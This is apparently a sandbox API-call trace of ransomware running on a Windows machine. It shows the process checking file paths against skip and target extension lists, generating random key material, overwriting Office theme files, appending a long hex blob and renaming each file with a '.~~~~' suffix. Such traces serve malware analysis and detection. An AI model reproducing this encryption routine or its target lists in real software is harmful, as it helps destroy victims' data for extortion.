	[0084.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.448] lstrlenW (lpString=".cmd") returned 4
	[0084.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.448] lstrlenW (lpString=".dll") returned 4
	[0084.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.449] lstrlenW (lpString=".bat") returned 4
	[0084.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.449] lstrlenW (lpString=".cpl") returned 4
	[0084.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.449] lstrlenW (lpString=".sys") returned 4
	[0084.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.449] lstrlenW (lpString=".msc") returned 4
	[0084.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.449] lstrlenW (lpString=".com") returned 4
	[0084.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.449] lstrlenW (lpString=".lnk") returned 4
	[0084.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.449] lstrlenW (lpString=".msp") returned 4
	[0084.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.449] lstrlenW (lpString=".pif") returned 4
	[0084.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.449] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0084.449] lstrlenW (lpString=".sqb") returned 4
	[0084.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.450] lstrlenW (lpString=".ost") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.450] lstrlenW (lpString=".txt") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.450] lstrlenW (lpString=".mdt") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.450] lstrlenW (lpString=".BDB") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.450] lstrlenW (lpString=".eql") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.450] lstrlenW (lpString=".DBF") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.450] lstrlenW (lpString=".EQL") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.450] lstrlenW (lpString=".FDB") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.450] lstrlenW (lpString=".EDB") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.450] lstrlenW (lpString=".DACPAC") returned 7
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.450] lstrlenW (lpString=".VHD") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.450] lstrlenW (lpString=".DBV") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.450] lstrlenW (lpString=".dacpac") returned 7
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.450] lstrlenW (lpString=".sdf") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.450] lstrlenW (lpString=".accdb") returned 6
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.450] lstrlenW (lpString=".DBX") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.450] lstrlenW (lpString=".MDT") returned 4
	[0084.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.451] lstrlenW (lpString=".SQB") returned 4
	[0084.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.451] lstrlenW (lpString=".vhd") returned 4
	[0084.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.451] lstrlenW (lpString=".bac") returned 4
	[0084.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.451] lstrlenW (lpString=".mdf") returned 4
	[0084.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.451] lstrlenW (lpString=".BAK") returned 4
	[0084.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.451] lstrlenW (lpString=".BAC") returned 4
	[0084.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.451] lstrlenW (lpString=".dbs") returned 4
	[0084.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.451] lstrlenW (lpString=".vhdx") returned 5
	[0084.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.451] lstrlenW (lpString=".NDF") returned 4
	[0084.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.528] lstrlenW (lpString=".dat") returned 4
	[0084.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.529] lstrlenW (lpString=".DBS") returned 4
	[0084.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.529] lstrlenW (lpString=".CKP") returned 4
	[0084.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.529] lstrlenW (lpString=".edb") returned 4
	[0084.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.529] lstrlenW (lpString=".PST") returned 4
	[0084.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.529] lstrlenW (lpString=".dbf") returned 4
	[0084.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.529] lstrlenW (lpString=".SQL") returned 4
	[0084.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.529] lstrlenW (lpString=".pst") returned 4
	[0084.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.530] lstrlenW (lpString=".dbv") returned 4
	[0084.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.530] lstrlenW (lpString=".SDF") returned 4
	[0084.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.530] lstrlenW (lpString=".dtxs") returned 5
	[0084.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.530] lstrlenW (lpString=".db3") returned 4
	[0084.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.530] lstrlenW (lpString=".OST") returned 4
	[0084.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.530] lstrlenW (lpString=".dbx") returned 4
	[0084.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.530] lstrlenW (lpString=".DB3") returned 4
	[0084.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.530] lstrlenW (lpString=".DAT") returned 4
	[0084.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.530] lstrlenW (lpString=".VHDX") returned 5
	[0084.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.530] lstrlenW (lpString=".ndf") returned 4
	[0084.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.530] lstrlenW (lpString=".DB") returned 3
	[0084.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.530] lstrlenW (lpString=".sql") returned 4
	[0084.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.530] lstrlenW (lpString=".MYD") returned 4
	[0084.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.531] lstrlenW (lpString=".DBT") returned 4
	[0084.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.531] lstrlenW (lpString=".ACCDB") returned 6
	[0084.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.531] lstrlenW (lpString=".fdb") returned 4
	[0084.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.531] lstrlenW (lpString=".bak") returned 4
	[0084.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.531] lstrlenW (lpString=".myd") returned 4
	[0084.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.531] lstrlenW (lpString=".DTXS") returned 5
	[0084.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.531] lstrlenW (lpString=".ckp") returned 4
	[0084.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.531] lstrlenW (lpString=".dbt") returned 4
	[0084.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.531] lstrlenW (lpString=".db") returned 3
	[0084.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.531] lstrlenW (lpString=".TXT") returned 4
	[0084.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.531] lstrlenW (lpString=".MDF") returned 4
	[0084.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.531] lstrlenW (lpString=".bdb") returned 4
	[0084.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.531] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363030
	[0084.532] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395388) returned 1
	[0084.533] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0084.533] CryptReleaseContext (hProv=0x395388, dwFlags=0x0) returned 1
	[0084.533] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0084.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.533] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20452335516) returned 1
	[0084.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c389550, dwHighDateTime=0x1d60e1e)) 
	[0084.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a28e0
	[0084.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a28e0 | out: hHeap=0x300000) returned 1
	[0084.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808918
	[0084.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808918 | out: hHeap=0x300000) returned 1
	[0084.534] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.534] GetLastError () returned 0x0
	[0084.534] GetLastError () returned 0x0
	[0084.534] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.534] GetLastError () returned 0x0
	[0084.535] GetLastError () returned 0x0
	[0084.537] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff608, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.537] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x9f8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x9f8, lpOverlapped=0x0) returned 1
	[0084.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.537] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.537] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.537] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.537] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.537] CloseHandle (hObject=0x124) returned 1
	[0084.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.538] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.~~~~")) returned 1
	[0084.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.538] GetLastError () returned 0x0
	[0084.539] RtlWakeConditionVariable () returned 0x365f70
	[0084.539] GetCurrentThreadId () returned 0xaf0
	[0084.539] GetCurrentThreadId () returned 0xaf0
	[0084.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808f00 | out: hHeap=0x300000) returned 1
	[0084.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2918 | out: hHeap=0x300000) returned 1
	[0084.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808f00
	[0084.539] lstrlenW (lpString=".scr") returned 4
	[0084.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".scr") returned 0x0
	[0084.539] lstrlenW (lpString=".cmd") returned 4
	[0084.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".cmd") returned 0x0
	[0084.539] lstrlenW (lpString=".dll") returned 4
	[0084.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".dll") returned 0x0
	[0084.539] lstrlenW (lpString=".bat") returned 4
	[0084.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".bat") returned 0x0
	[0084.539] lstrlenW (lpString=".cpl") returned 4
	[0084.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".cpl") returned 0x0
	[0084.539] lstrlenW (lpString=".sys") returned 4
	[0084.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".sys") returned 0x0
	[0084.539] lstrlenW (lpString=".msc") returned 4
	[0084.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".msc") returned 0x0
	[0084.539] lstrlenW (lpString=".com") returned 4
	[0084.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".com") returned 0x0
	[0084.540] lstrlenW (lpString=".lnk") returned 4
	[0084.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".lnk") returned 0x0
	[0084.540] lstrlenW (lpString=".msp") returned 4
	[0084.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".msp") returned 0x0
	[0084.540] lstrlenW (lpString=".pif") returned 4
	[0084.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".pif") returned 0x0
	[0084.540] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0084.541] lstrlenW (lpString=".sqb") returned 4
	[0084.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".sqb") returned 0x0
	[0084.541] lstrlenW (lpString=".ost") returned 4
	[0084.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".ost") returned 0x0
	[0084.541] lstrlenW (lpString=".txt") returned 4
	[0084.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".txt") returned 0x0
	[0084.541] lstrlenW (lpString=".mdt") returned 4
	[0084.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".mdt") returned 0x0
	[0084.541] lstrlenW (lpString=".BDB") returned 4
	[0084.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".BDB") returned 0x0
	[0084.541] lstrlenW (lpString=".eql") returned 4
	[0084.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", lpSrch=".eql") returned 0x0
	[0084.542] lstrlenW (lpString=".DBF") returned 4
